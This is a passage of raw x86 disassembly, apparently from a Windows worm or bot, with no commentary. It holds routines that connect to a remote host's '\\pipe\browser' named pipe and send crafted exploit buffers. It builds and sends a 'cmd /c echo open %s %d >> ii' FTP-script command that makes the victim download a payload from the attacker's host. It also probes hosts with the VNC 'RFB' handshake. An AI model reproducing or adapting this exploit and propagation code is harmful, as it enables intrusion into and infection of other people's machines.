		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		jmp	short loc_40D996
; ---------------------------------------------------------------------------

loc_40D987:				; CODE XREF: sub_40D8AD+B3j
		mov	al, 1
		jmp	short loc_40D996
; ---------------------------------------------------------------------------

loc_40D98B:				; CODE XREF: sub_40D8AD+9Cj
					; sub_40D8AD+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx

loc_40D994:				; CODE XREF: sub_40D8AD+61j
		xor	al, al

loc_40D996:				; CODE XREF: sub_40D8AD+D8j
					; sub_40D8AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AD	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db  78h	; x
		db 0E1h	; á
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0BCh	; ¼
		db 0D4h	; Ô
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0A8h	; ¨
		db 0F7h	; ÷
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  44h	; D
		db  22h	; "
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0A6h	; ¦
		db 0DFh	; ß
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db 0A7h	; §
		db 0DBh	; Û
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db  28h	; (
		db 0D1h	; Ñ
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  44h	; D
		db  8Dh	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA13
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------

loc_40DA13:				; CODE XREF: ___:0040DA0Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	near ptr 2710A4Eh
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA57

loc_40DA50:				; CODE XREF: ___:0040DB2Fj
					; ___:0040DD05j ...
		xor	al, al
		jmp	loc_40DE9B
; ---------------------------------------------------------------------------

loc_40DA57:				; CODE XREF: ___:0040DA4Ej
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_43221C
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432208
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_40DB34

loc_40DB26:				; CODE XREF: ___:0040DC00j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26708E6h
		jmp	loc_40DA50
; ---------------------------------------------------------------------------

loc_40DB34:				; CODE XREF: ___:0040DB24j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 2710000h
		nop
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4321B0[esi], bl
		jz	short loc_40DBAB
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CDC9C
		jmp	short loc_40DBBE
; ---------------------------------------------------------------------------

loc_40DBAB:				; CODE XREF: ___:0040DB97j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_4321FF+1)

loc_40DBBE:				; CODE XREF: ___:0040DBA9j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_4321A4[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB26
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4321AC[esi]
		push	7
		add	eax, edi
		push	offset dword_432198
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432038
		push	eax
		call	sub_41C310
		mov	eax, dword_4321A8[esi]
		add	esp, 30h
		cmp	byte_4321B0[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB7
		push	4
		add	eax, edi
		push	offset dword_4CDC94
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_4321C8
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCDF
; ---------------------------------------------------------------------------

loc_40DCB7:				; CODE XREF: ___:0040DC68j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_4321C8

loc_40DCC8:				; CODE XREF: ___:0040DCDDj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC8

loc_40DCDF:				; CODE XREF: ___:0040DCB5j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0A
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26708E6h
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA50
; ---------------------------------------------------------------------------

loc_40DD0A:				; CODE XREF: ___:0040DCF3j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD77

loc_40DD6F:				; CODE XREF: ___:0040DD72j
		inc	eax
		test	al, 3
		jnz	short loc_40DD6F
		mov	[ebp+0Ch], eax

loc_40DD77:				; CODE XREF: ___:0040DD6Dj
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 2700834h
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx

loc_40DDE4:				; CODE XREF: ___:0040DE6Ej
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE79
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE76
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE68
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 2710000h
		nop
		test	eax, eax
		jnz	short loc_40DE4F
		call	near ptr 2690CE2h
		nop
		cmp	eax, 3E5h
		jnz	loc_40DA50

loc_40DE4F:				; CODE XREF: ___:0040DE3Cj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 26A0732h
		cmp	eax, 102h
		jnz	short loc_40DE68
		mov	byte ptr [ebp+0Bh], 1

loc_40DE68:				; CODE XREF: ___:0040DE1Bj
					; ___:0040DE62j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE4
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------

loc_40DE76:				; CODE XREF: ___:0040DE16j
		mov	esi, [ebp-8]

loc_40DE79:				; CODE XREF: ___:0040DDE8j
					; ___:0040DE74j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE95
		push	dword ptr [ebp-4Ch]
		call	edi

loc_40DE95:				; CODE XREF: ___:0040DE8Ej
		cmp	[ebp+0Bh], bl
		setnz	al

loc_40DE9B:				; CODE XREF: ___:0040DA52j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0D6h	; Ö
		db 0D6h	; Ö
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db 0E8h	; è
		db  2Ch	; ,
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db  90h	; 
		db 0E8h	; è
		db  6Ah	; j
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db  90h	; 
		db 0E8h	; è
		db  37h	; 7
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  5Eh	; ^
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db    8
		db  91h	; ‘
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db 0B0h	; °
		db 0ACh	; ¬
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0DFh	; ß
		db 0CCh	; Ì
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  50h	; P
		db  22h	; "
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  38h	; 8
		db 0DAh	; Ú
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db  87h	; ‡
		db 0D0h	; Ð
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  8Bh	; ‹
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db 0E7h	; ç
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
		dd 90000007h, 2825A4E8h, 0FB834302h, 6AB87202h,	5E5F5801h
; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE2	proc near		; CODE XREF: sub_40E0D0+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B0
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CACB0
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B4

loc_40E0B0:				; CODE XREF: sub_40DFE2+50j
					; sub_40DFE2+62j
		xor	eax, eax
		jmp	short loc_40E0CB
; ---------------------------------------------------------------------------

loc_40E0B4:				; CODE XREF: sub_40DFE2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax

loc_40E0CB:				; CODE XREF: sub_40DFE2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40C124+1EAp
					; DATA XREF: ___:off_43140Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CAFB4
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E142
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E123
		push	esi
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------

loc_40E123:				; CODE XREF: sub_40E0D0+4Ej
		push	0
		push	1213h
		push	offset dword_4322C4
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E146

loc_40E13C:				; CODE XREF: sub_40E0D0+51j
		nop
		call	near ptr 71AB1A6Dh

loc_40E142:				; CODE XREF: sub_40E0D0+3Cj
		xor	eax, eax
		jmp	short loc_40E188
; ---------------------------------------------------------------------------

loc_40E146:				; CODE XREF: sub_40E0D0+6Aj
		call	near ptr 71AB1A6Dh
		nop
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E185
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431410[eax]
		lea	eax, dword_431410[eax]

loc_40E185:				; CODE XREF: sub_40E0D0+9Ej
		push	1
		pop	eax

loc_40E188:				; CODE XREF: sub_40E0D0+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18C	proc near		; CODE XREF: ___:0040E27Ap
					; ___:0040E2DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi

loc_40E194:				; CODE XREF: sub_40E18C+2Dj
		test	edi, edi
		jle	short loc_40E1BF
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAF8C
		test	eax, eax
		jz	short loc_40E1BB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BB
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E194
; ---------------------------------------------------------------------------

loc_40E1BB:				; CODE XREF: sub_40E18C+22j
					; sub_40E18C+27j
		xor	eax, eax
		jmp	short loc_40E1C2
; ---------------------------------------------------------------------------

loc_40E1BF:				; CODE XREF: sub_40E18C+Aj
		push	1
		pop	eax

loc_40E1C2:				; CODE XREF: sub_40E18C+31j
		pop	edi
		pop	esi
		retn
sub_40E18C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C5	proc near		; CODE XREF: ___:0040E2C6p
					; ___:0040E2F3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E202
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FC

loc_40E1D5:				; CODE XREF: sub_40E1C5+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E202
		test	eax, eax
		jz	short loc_40E202
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D5

loc_40E1FC:				; CODE XREF: sub_40E1C5+Ej
		push	1
		pop	eax

loc_40E1FF:				; CODE XREF: sub_40E1C5+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40E202:				; CODE XREF: sub_40E1C5+8j
					; sub_40E1C5+2Bj ...
		xor	eax, eax
		jmp	short loc_40E1FF
sub_40E1C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433508
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CAFF4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E234
		push	eax
		jmp	short loc_40E268
; ---------------------------------------------------------------------------

loc_40E234:				; CODE XREF: ___:0040E22Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFB4
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CAF74
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E273
		push	ebx

loc_40E268:				; CODE XREF: ___:0040E232j
		call	dword_4CB00C
		jmp	loc_40E46E
; ---------------------------------------------------------------------------

loc_40E273:				; CODE XREF: ___:0040E265j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E467
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2BF
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E467

loc_40E2BF:				; CODE XREF: ___:0040E2B3j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E467
		push	1
		push	offset dword_4CAE2C
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F7
		push	edi
		push	esi
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch

loc_40E3F7:				; CODE XREF: ___:0040E3EAj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
